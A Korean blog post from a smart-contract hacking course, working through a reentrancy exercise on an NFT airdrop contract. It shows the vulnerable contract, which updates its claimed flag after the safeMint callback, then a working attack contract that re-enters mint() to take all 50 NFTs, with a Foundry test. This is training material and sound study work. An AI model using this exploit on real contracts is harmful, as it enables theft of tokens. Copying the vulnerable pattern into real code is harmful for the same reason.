[SCH] Smart Contract Hacking 12편 - ReEntrancy 2

0xDave·2023년 4월 7일
0

Ethereum

목록 보기
104/112
post-thumbnail

Task1


NFT를 독식해보자.

// SPDX-License-Identifier: GPL-3.0-or-later
// https://smartcontractshacking.com/#copyright-policy
pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

/**
 * @title ApesAirdrop
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract ApesAirdrop is ERC721 {

    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    address public owner;
    uint16 public maxSupply = 50;

    // Any user in the whitelist can claim 1 NFT
    mapping (address => bool) private claimed;
    mapping (address => bool) private whitelist;

    event AddedToWhitelist(address eligableAddress);
    event Minted(address eligableAddress, uint tokenId);
    event SpotGranted(address from, address to);

    modifier onlyOwner {
        require(msg.sender == owner, "not owner");
        _;
    }

    constructor() ERC721("Crazy Apes", "APE") {
        owner = msg.sender;
        _tokenIds.increment(); // Start with 1
    }

    function mint() external returns (uint16) {
        
        // Sender is in whitelist & not claimed
        require(isWhitelisted(msg.sender), "not in whitelist");
        require(!claimed[msg.sender], "already claimed");

        // Check tokenId
        uint16 tokenId = uint16(_tokenIds.current());
        require(tokenId <= maxSupply, "Max supply reached!");
        _tokenIds.increment();
        
        // Mint NFT
        _safeMint(msg.sender, tokenId);
        emit Minted(msg.sender, tokenId);

        // Update claimed
        claimed[msg.sender] = true;

        // Return token ID
        return tokenId;
    }

    function addToWhitelist(address[] memory toAdd) external onlyOwner {
        for(uint i=0; i < toAdd.length; i++) {
            require(toAdd[i] != address(0), "wrong address");
            whitelist[toAdd[i]] = true;
            emit AddedToWhitelist(toAdd[i]);
        }
    }

    function isWhitelisted(address addr) public view returns (bool) {
        return whitelist[addr];
    }

    function grantMyWhitelist(address to) external {

        require(to != address(0), "wrong address");

        // Sender is in whitelist & not claimed
        require(isWhitelisted(msg.sender), "sender not in whitelist");
        require(!claimed[msg.sender], "sender already claimed");

        // Receiver is not in whitelist
        require(!isWhitelisted(to), "receiver already in whitelist");

        whitelist[msg.sender] = false;
        whitelist[to] = true;

        emit SpotGranted(msg.sender, to);
    }
}

공격 컨트랙트 짜기


_safeMint()_checkOnERC721Received -> IERC721Receiver(to).onERC721Received() 콜백을 이용해서 ReEntrancy 공격을 하면 될 것 같다.

    function _safeMint(address to, uint256 tokenId) internal virtual {
        _safeMint(to, tokenId, "");
    }
    
    function _safeMint(
        address to,
        uint256 tokenId,
        bytes memory data
    ) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
                return retval == IERC721Receiver.onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721: transfer to non ERC721Receiver implementer");
                } else {
                    /// @solidity memory-safe-assembly
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

_checkOnERC721Received()에 대해 설명하면, NFT를 받는 곳이 컨트랙트일 경우 해당 컨트랙트에 묶이는 일이 발생할 수 있기 때문에 이를 방지하고자 IERC721Receiver(to).onERC721Received() 함수가 구현된 안전한 컨트랙트에만 NFT를 보낼 수 있도록 도와주는 가드 역할을 하는 함수다.


        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
                return retval == IERC721Receiver.onERC721Received.selector;
            }

NFT를 받는 곳이 컨트랙트인지 먼저 확인 후,
IERC721Receiver(to).onERC721Received() 함수를 호출한다.


      } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721: transfer to non ERC721Receiver implementer");

만약 해당 함수가 구현되지 않았을 때, Cumstom Error가 없다면 revert를 시키고


                } else {
                    /// @solidity memory-safe-assembly
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }

Custom Error가 있을 경우, 해당 error를 리턴한다. 이 때 custom error의 길이를 담고있는 32 바이트 부분은 건너뛰고 바로 해당 error를 리턴하도록 되어있다.


내가 짠 공격 컨트랙트는 다음과 같다.

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IApesAirdrop {
    function mint() external returns (uint16);
}


contract AttackAirdrop is IERC721Receiver{

    IApesAirdrop apesAirdrop;
    address payable attacker;
    uint16 public tokenId = 1;

    constructor(address _apesAirdrop) {
        apesAirdrop = IApesAirdrop(_apesAirdrop);
        attacker = payable(msg.sender);
    }

    function attack() public {
        apesAirdrop.mint();
    }

    function onERC721Received(address sender, address from, uint256 _tokenId, bytes calldata data) external returns (bytes4 retval) {
        if (tokenId < 50) {
            tokenId++;
            attack();
            return ???;
        } else {
            return ???;
        }
    }

}

그런데 문제는 마지막 onERC721Received() 함수에서 리턴하는 selector 값을 뭘로 해야할지 모르겠다..


모범답안


interface IApesAirdrop {
    function mint() external returns (uint16);

    function grantMyWhitelist(address to) external;

    function transferFrom(address from, address to, uint256 tokenId) external;
}

contract AttackAirdrop is IERC721Receiver {
    IApesAirdrop apesAirdrop;
    address payable attacker;
    uint16 public maxSupply = 50;
    uint16 public currSupply;

    constructor(address _airdrop) payable {
        apesAirdrop = IApesAirdrop(_airdrop);
        attacker = payable(msg.sender);
    }

    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
        if (currSupply < maxSupply) {
            currSupply++;
            apesAirdrop.mint();
            return 0x150b7a02;
        } else {
            for (uint i = 1; i <= maxSupply; i++) {
                apesAirdrop.transferFrom(address(this), attacker, i);
            }
            return 0x150b7a02;
        }
    }

    function attack() public {
        currSupply++;
        apesAirdrop.mint();
    }
}

차이점을 몇 가지 정리해보면

  1. interface에서 다른 함수 추가
  2. 변수를 이용해 maximum supply, current supply 설정
  3. 0x150b7a02 리턴
  4. else일 때 NFT 전송

0x150b7a02는 어떻게 해서 나온걸까? 답은 onERC721Received()함수를 해싱해서 나온 값이다.

bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));

onERC721Received()함수를 호출할 때 IERC721Receiver.onERC721Received.selector 값을 리턴하는데 그 때의 값이 0x150b7a02라고 보면 된다. selector를 가져올 때 해싱해서 가져오는 것.


피드백


컨트랙트의 방향은 맞았지만 빠진 부분이 있어서 조금 아쉽다. 또한 한 가지 더 아쉬운 점은 기존 ApesAirdrop 컨트랙트에서 Counters.Counter private _tokenIds;에만 집중해서 private 값은 활용 못 하니까 supply 값을 가져오지 못 할 것이라고 생각했는데, uint16 public maxSupply를 활용하면 충분히 가져올 수 있었다는 것이다.

추가적으로 NFT를 전송할 때 approve 먼저 한 다음에 transferFrom()을 호출해야 하는 줄 알았는데, 내가 NFT를 소유하고 있으면 그냥 transferFrom()만 호출해도 된다. approve는 내가 다른 컨트랙트에 NFT 전송 권한을 넘길 때만 해주면 된다.


테스트 코드 짜기


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/reentrancy-2/ApesAirdrop.sol";
import "../../src/reentrancy-2/AttackAirdrop.sol";

/**
@dev run "forge test --match-contract RV2" 
*/

contract TestRE2 is Test {
    address deployer;
    address attacker;
    
    ApesAirdrop apesAirDrop;
    AttackAirdrop attackAirDrop;

    address[] public whitelists;

    function setUp() public {
        deployer = address(1);
        attacker = address(2);

        vm.prank(deployer);
        apesAirDrop = new ApesAirdrop();

        vm.prank(attacker);
        attackAirDrop = new AttackAirdrop(address(apesAirDrop));

        vm.startPrank(deployer);
        whitelists.push(address(attackAirDrop));
        apesAirDrop.addToWhitelist(whitelists);
        vm.stopPrank();
    }

    function test_attack() public {
        vm.startPrank(attacker);
        attackAirDrop.attack();
        vm.stopPrank();

        assertEq(apesAirDrop.balanceOf(attacker), 50);
    }
}

성공!


피드백


모범답안에서는 WL 추가할 때 아래처럼 코드를 짰다. 나는 굳이 user를 만들 필요를 못 느껴서 user는 생략했었다. array를 미리 만들고 추가하는 방법만 눈에 익혀두면 될 것 같다.

        address[] memory users = new address[](5);
        users[0] = user1;
        users[1] = user2;
        users[2] = user3;
        users[3] = user4;
        users[4] = attacker;
profile
Just BUIDL :)

0개의 댓글